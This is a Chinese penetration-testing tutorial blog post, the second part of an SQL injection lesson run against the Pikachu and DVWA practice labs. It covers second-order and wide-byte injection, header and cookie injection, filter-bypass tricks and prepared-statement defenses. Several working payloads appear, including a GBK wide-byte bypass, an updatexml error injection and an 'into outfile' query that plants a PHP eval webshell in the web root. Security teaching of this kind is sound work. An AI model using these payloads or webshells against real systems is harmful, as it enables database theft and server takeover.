【网络安全的神秘世界】SQL注入(下)

news2024/11/17 22:30:05

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

3.7 二次注入

不好挖这个漏洞,需要搞懂业务逻辑关系

二次注入通常是指在存入数据库时做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入

1️⃣插入恶意数据

在第一次向数据库插入数据库时,网站本身使用addslashes()对其中的特殊字符进行转义,但是addslashes()有一个特点就是虽然参数在过滤后会添加“\"进行转义,但是”\"并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据

在MySQL中,\属于转义字符,当我们insert插入\字符时,\在数据库中最终只会存储为空值“ ”

在这里插入图片描述

2️⃣引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了了脏数据,没有进一步的校验和处理,这样就会造成SQL的二次注入

在这里插入图片描述

3.8 宽字节注入

安装pikachu环境

docker pull area39/pikachu
docker run -d -p 8000:80 area39/pikachu

借助 Docker 轻松搭建 Pikachu 靶场教程

宽字节概念

  • 如果一个字符的大小是一个字节的,称为窄字节;

  • 如果一个字符的大小是两个及以上字节的,称为宽字节;

  • 像GB2312、GBK、GB18030、BIG5、Shift_jis等编码都是常见的宽字节字符集

  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

宽字节注入利用MySQL的一个特性:使用GBK编码的时候,会认为两个字符是一个汉字

进入pikachu靶场的后端查看mysql数据库中使用的什么编码

docker exec -it pikachu_id bash

在这里插入图片描述

show variables like '%character%'

在这里插入图片描述

发现数据库用的latin1编码方式,但是上面说了用gbk编码才有宽字节注入场景

而pikachu靶场又存在宽字节注入,那是因为网站代码手动设置了mysql编码为gbk

在这里插入图片描述


判断输入点是字符型,构造字符型注入语句

在这里插入图片描述

发现注入失败,但是去数据库里能查出来,这说明网站做了过滤

在这里插入图片描述

为了防止网站被SQL注入,网站开发人员会做一些防护措施,其中最常见的就是对一些特殊字符进行转义

通过前面的学习可以了解到,SQL注入非常关键的一步就是让引号闭合和跳出引号,无法跳出引号,那么输入的内容就永远在引号里,即永远是字符串,无法实现SOL注入

网站开发者也想到了这一步,于是做个防护措施:转义,对输入的敏感内容、特殊字符进行转义

addslashes()函数

  • addslashes() 会在预定义字符之前添加反斜线 \进行转义
  • 预定义字符:单引号',双引号",反斜线\,NULL

【转义】:预定义字符在加上反斜线之后,就已经不具备其原有的语法功能了,就仅仅是一个普通的字符串了

绕过addslashes()函数

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到 addslashes() 函数时,单引号会被转义,导致我们用来判断注入点的单引号失效。所以我们的目的就是使转义符\ 失效、使单引号逃逸

✨绕过原理:

# 前端输入
kobe%df' or 1=1# 

# 后端通过addslashes()添加转义字符\,编码后变成%5C
kobe%df\' or 1=1# 
kobe%df%5c%27 or 1=1# 

# 因为数据库使用gbk编码(2个字节会被编码为1个汉字),那么%df%5c= 運
kobe運' or 1=1#

✨绕过步骤:

1️⃣输入 kobe%df' and 1=1# 后发现还是失败

在这里插入图片描述

抓包发现那是因为网站前端对%做了url编码变成%25

在这里插入图片描述

2️⃣抓包直接在bp中修改,就不会经过url编码了

在这里插入图片描述

掌握这个原理后,%df也可以替换成其他2位16进制数;不同的编码方式有不同的绕过方法

3.9 http header和cookie注入

HTTP头注入其实并不是一个新的SQL注入类型,而是指出现SQL注入漏洞的不同场景下该怎么使用

当攻击者能够控制这些 HTTP 头部字段的值,并且应用程序没有正确地转义或过滤这些输入时,他们可能会插入恶意的 SQL 代码片段,从而可能导致数据泄露、数据篡改、甚至完全控制数据库

进入pikachu的http header来进行一下测试:

抓包将它发送到【Repeater】模块,将User-Agent的值删掉,自己构造一个单引号:

在这里插入图片描述

出现了语法错误,意味着输入的内容会到数据库中进行查询,接下来的步骤就很简单了,跟前面的报错注入是一样的

'or updatexml(1,concat(0x7e,database()),0) or'

cookie注入就是把注入语句通过抓包放进cookie里面,跟上面的步骤一样,这里不再赘述了

四、从MySQL注入到GetShell

mysql支持向外写文件(这里的“外”是指服务器内部,除mysql),需要用到select into outfile命令

select into outfile的作用:将被选择的一行代码写入一个文件中,文件被创建到服务器上

select into outfile的使用前提是:

  • 要知道网站的绝对路径,可以通过开源程序、报错信息、phpinfo界面、404界面等方式知道
  • 对目录要有写权限,一般image之类的存放图片的目录有写权限
  • 要有mysql file权限(即能够对系统的文件读写操作),默认情况下只有root权限有

还要注意:写的文件名一定是在网站中不存在的,不然会失败

我们使用into outfile写入一句话木马,文件名为shell2.php:

1' union select 1,"<?php eval($_POST['a']);?>" into outfile ' /var/www/html/shell2.php
  • eval():允许执行任何传递给它的 PHP 代码字符串
  • $_POST[‘a’]:a是攻击者定义的关键字,用来接收攻击者输入的内容
  • /var/www/html:网站的根目录,底层是Linux系统的话,文件通常放在这

1️⃣在DVWA Low等级的SQL Injection中输入

在这里插入图片描述

2️⃣访问http://ip:port/shell2.php,打开hackerbar插件,勾选Post data,给a传递参数后点击【Execute】执行

在这里插入图片描述

pwd属于操作系统命令,不能直接传递给php,要按照规定的格式写

在这里插入图片描述

使用get方法,直接在url构造

1' union select 1,"<?php eval($_GET['a']);?>" into outfile ' /var/www/html/shell2.php

在这里插入图片描述

在这里插入图片描述

3️⃣打开蚁剑,密码为a(蚁剑出于安全考虑,只能连接post方法)

在这里插入图片描述

五、SQL注入绕过

5.1 大小写绕过

适用于设置了黑名单的情况下,可以任意的把某些字改为大小写

举例:seLeCT、SelEcT

5.2 替换关键字

大小写转换无法绕过,而且正则表达式会替换或删除select、union等关键字可以尝试双写:

举例:SELselectECT、SeLSeselectleCTect

5.3 使用编码

在浏览器输入一个链接,浏览器会对特殊字符进行url编码,可以通过编码的方式进行绕过

空格%20、单引号%27、左括号%28、右括号%29

1️⃣url编码

1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT

2️⃣16进制编码

mysql>select * from users where user_id=1 and (extractvalue(1,concat(0x7e,(select password from users where first_name=0x61646d696e),0x7e)));

5.4 使用注释

比如输入select 1被网站拦截,可以尝试select/**/1进行注释绕过

1️⃣普通注释

看一下常见的用于注释的符号有哪些:

-- ,/**/,#,-- -,

2️⃣内联注释

不具备注释语义的注释符:仍然能执行出结果

相比普通注释,内联注释使用的更多,它有一个特性/* ! */只有MySQL能识别

/*!SELECT*/1/*!union*//*!all*//*!select*/2;

5.5 等价函数与命令替换

1、函数

bin()	#二进制
hex()   #十六进制
bin()、hex() ==> ascii()

sleep() ==> benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率

concat_ws() ==> concat()
concat_wa("分隔符",字段1,字段2....)  #多个列的字段合并并添加分隔符

mid()、substr() ==> substring() #字符串的截取

strcmp(str1,str2) 
#比较两个字符串,如果两个字符串相等就返回0,如果第二个字符小于第一个字符就返回1,反之返回-1
strcmp(left('password',1),0x70) = 0
strcmp(left('password',1),0x69) = 1
strcmp(left('password',1),0x71) = -1

2、符号

当and和or不能用时,可以用&& 和 || 替换

=不能使用时,可以考虑<、>

空格,可以使用如下符号表示:%20 %09 % 0a %0b %0c %0d %a0 /**/

5.6 特殊符号

1、反引号`(tab键上方):可以过滤空格和正则,特殊情况下还可以当注释

select id from`users`;

2、-+:过滤空格和关键字

select+user_id-1+1.from users;

3、@符号:@表示用户定义,@@表示系统变量

select@^1,from users;

4、部分可能发挥作用的符号:`、~、!、@、%、()、[]、.、-、+、|、%00

六、SQL注入防御

--------------sql注入的危害这么大,为什么不对数据库进行修改?

mysql的作用只是存储和查询数据,而注入是代码层面出现的问题,所以不需要对数据库进行修复

6.1 预编译和绑定变量

预编译:提前构造好语句,只能提交指定类型的值

String sql="select id,num from user where id=?"  //定义sql语句
	PreparedStatement ps=conn.prepareStatemnt(sql)
	ps.setInt(1,id);  //设置变量
	ps.executeQuery();  //执行

那么后面输入的内容只会被当作字符串来执行,关键字不能发挥语义

6.2 严格检查参数的数据类型,使用安全函数

并不是所有场景都能采用sql语句预编译,也可以对输入的内容进行严格检测,根据业务特征做好过滤

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1891762.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

介绍东芝TB62262FTAG芯片:高性能两相双极步进电机驱动器

在当今快速发展的科技领域&#xff0c;高性能的电机驱动器对于许多工程项目来说至关重要。东芝的TB62262FTAG这款两相双极步进电机驱动器采用PWM斩波技术&#xff0c;集成了多个先进功能&#xff0c;适用于各种工业和消费类应用。本文将详细介绍TB62262FTAG的参数、性能、优势及…

JVM原理(十三):JVM虚拟机类类加载器与双亲委派模型

1. 类加载器 Java虛拟机设计团队有意把类加载阶段中的“通过一个类的全限定名来获取描述该类的二进制字节流"这个动作放到Java虚拟机外部去实现&#xff0c;以便让应用程序自己决定如何去获取所需的类。实现这个动作的代码被称为“类加载器”(Class Loader)。 对于任意一…

任天堂称未来第一方游戏不会使用生成式AI

虽然EA、育碧、暴雪、Embracer等西方游戏厂商都大力支持生成式AI技术&#xff0c;但日本老牌游戏公司任天堂并不会追随这一步伐。任天堂已经确认该公司未来的第一方游戏不会使用生成式AI技术。 在公司最近的投资人问答会上&#xff0c;任天堂描绘了公司未来游戏愿景。在谈到AI技…

00 如何根据规律在变化中求发展?

你好&#xff0c;我是周大壮。目前&#xff0c;我已在搜索推荐等算法技术领域从事研发近 10 年&#xff0c;做过诸多流量分发领域的算法技术工作。 如今任公司同城的算法架构师、技术委员会人工智能分会委员、公司本地服务事业群算法策略部负责人&#xff0c;我主要负责公司集…

从搜索框的提示词中再探防抖和节流

前言 最近逛掘金时&#xff0c;看到了一篇文章。发现是我之前写过的一篇文章主题是防抖和节流的&#xff0c;看防抖时没感觉哪里不一样&#xff0c;但是当我看到节流时发现他的节流怎么这么繁琐(・∀・(・∀・(・∀・*)&#xff1f; 抱着疑惑的想法&#xff0c;我仔细拜读了这…

C语言版,链表头插法与尾插法

最近又开始看数据结构与算法&#xff0c;看到这个头插法还真的是头插法&#xff0c;头都搞疼了&#xff0c;略微理解了一些。尾插法还好一些&#xff0c;比较好理解&#xff0c;但是如果深入理解还是可以理解。 头插法核心代码&#xff1a; head->next NULL; s->next h…

C++11新特性【下】{lambda表达式、可变模板参数、包装器}

一、lambda表达式 在C98中&#xff0c;如果想要对一个数据集合中的元素进行排序&#xff0c;可以使用std::sort方法。如果待排序元素为自定义类型&#xff0c;需要用户定义排序时的比较规则&#xff0c;随着C语法的发展&#xff0c;人们开始觉得上面的写法太复杂了&#xff0c…

Linux高并发服务器开发(十)反应堆模型和线程池模型

文章目录 1 epoll反应堆2 线程池流程代码 3 复杂版本线程池代码 1 epoll反应堆 文件描述符 监听事件 回调函数 进行封装 创建socket设置端口复用绑定监听创建epoll树将监听文件描述符lfd上epoll树&#xff0c;对应的事件节点包括&#xff1a;文件描述符&#xff0c;事件epoll…

ASP.NET Core Blazor 5:Blazor表单和数据

本章将描述 Blazor 为处理 HTML 表单提供的特性&#xff0c;包括对数据验证的支持。 1 准备工作 继续使用上一章项目。   创建 Blazor/Forms 文件夹并添加一个名为 EmptyLayout.razor 的 Razor 组件。本章使用这个组件作为主要的布局。 inherits LayoutComponentBase<div …

UnityUGUI之三 Text

富文本 常用语法&#xff1a; 1.加粗 <b> text </b> 2.斜体 <i> text </i> 3.尺寸 <size?> text </size> 4.颜色 <color#ff0000> text </color>

qt 滚动区域简单实验

1.概要 有些时候&#xff0c;想用一个有限的区域显示更多的内容&#xff0c;且内容不固定用滚动区域控件是一个不错的选择&#xff0c;我今天就用一个图片简单的实验一下。 2.代码&#xff08;关键代码&#xff09; #include "widget.h" #include "ui_widget…

antd+vue——实现table组件跨页多选,已选择数据禁止第二次重复选择

需求场景&#xff1a;点击【新增】按钮可以在分页弹窗中跨页多选选择数据后添加到页面中&#xff0c;再次点击【新增】&#xff0c;已经选择过的数据则置灰不让重复选择。 选择后&#xff0c;置灰 点击【确定】数据添加到页面中&#xff0c;可再次点击【新增】进行添加数据 …

JS基础与Chrome介绍

导言 在Web开发中后端负责程序架构和数据管理&#xff0c;前端负责页面展示和用户交互&#xff1b;在这种前后端分离的开发方式中&#xff0c;以接口为标准来进行联调整合&#xff0c;为了保证接口在调用时数据的安全性&#xff0c;也为了防止请求参数被篡改&#xff0c;大多数…

C语言常见概念

目录 1. C语言是什么&#xff1f; 2. C语言的历史 3 编译和链接 4. VS项目和源文件、头文件介绍​编辑 5.创建项目 6.main函数​编辑 7. printf和库函数 8. 关键字介绍 9. 字符和ASCII编码 10. 字符串和\0 1. C语言是什么&#xff1f; 人和计算机交流的语言工具&…

CVD-Risk-Prevent 个性化心血管健康推荐系统:基于医学指南的规则框架与 LLM 的结合

CVD-Risk-Prevent 个性化心血管健康推荐系统&#xff1a;基于医学指南的规则框架与 LLM 的结合 提出背景推荐算法的选择选择疑问健康指标管理心血管风险因素目标设定实现目标的计划推荐的多维性 算法关键点&#xff1a;如何将心血管健康指标转换为多维推荐&#xff1f;确定风险…

热备路由HSRP与VRRP

一、什么是HSRP HSRP&#xff08;Hot Standby Router Protocol&#xff09;是Cisco的专有协议&#xff0c;用于实现网络中路由器的冗余和故障转移。通过HSRP&#xff0c;可以将多台路由器组成一个“热备份组”&#xff0c;形成一个虚拟路由器。在这个组内&#xff0c;只有一个…

理解Netty的核心概念

一、理解Netty Netty是一个用于开发高性能网络应用的框架。为了更容易理解它&#xff0c;下面一些描述&#xff0c;不一定准确&#xff0c;但一定容易理解。 从Netty的Channel开始&#xff0c;把Netty所有的核心概念都串起来。 Channel 简单理解为一个连接。 有一个特殊的C…

Datadog Dash 2024 新功能解析

Datadog 2024 年的 Dash 刚刚落下帷幕&#xff0c;作为正在与 Datadog 开始竞争的观测云&#xff0c;我们认真仔细的分析了 Datadog 的每一个新功能&#xff0c;发现一些很有意思的事情&#xff0c;今天就给大家做一次全面的分析。&#xff08;所有 Datadog 的 Dash 的最新功能…

《UDS协议从入门到精通》系列——图解0x86:事件响应

《UDS协议从入门到精通》系列——图解0x86&#xff1a;事件响应 一、简介1.1 什么是事件响应&#xff1f;跟其他服务有何不同&#xff1f;1.2 到底如何理解事件响应机制&#xff1f;1.3 使用事件响应机制有哪些注意点&#xff1f; 二、数据包格式三、通信示例 Tip&#x1f4cc;…

VBA通过Range对象实现Excel的数据写入

前言 本节会介绍通过VBA中的Range对象&#xff0c;来实现Excel表格中的单元格写入、区域范围写入&#xff0c;当然也可以写入不同类型的数据&#xff0c;如数值、文本、公式&#xff0c;以及实现公式下拉自动填充的功能。 一、单元格输入数据 1.通过Value方法实现输入不同类型…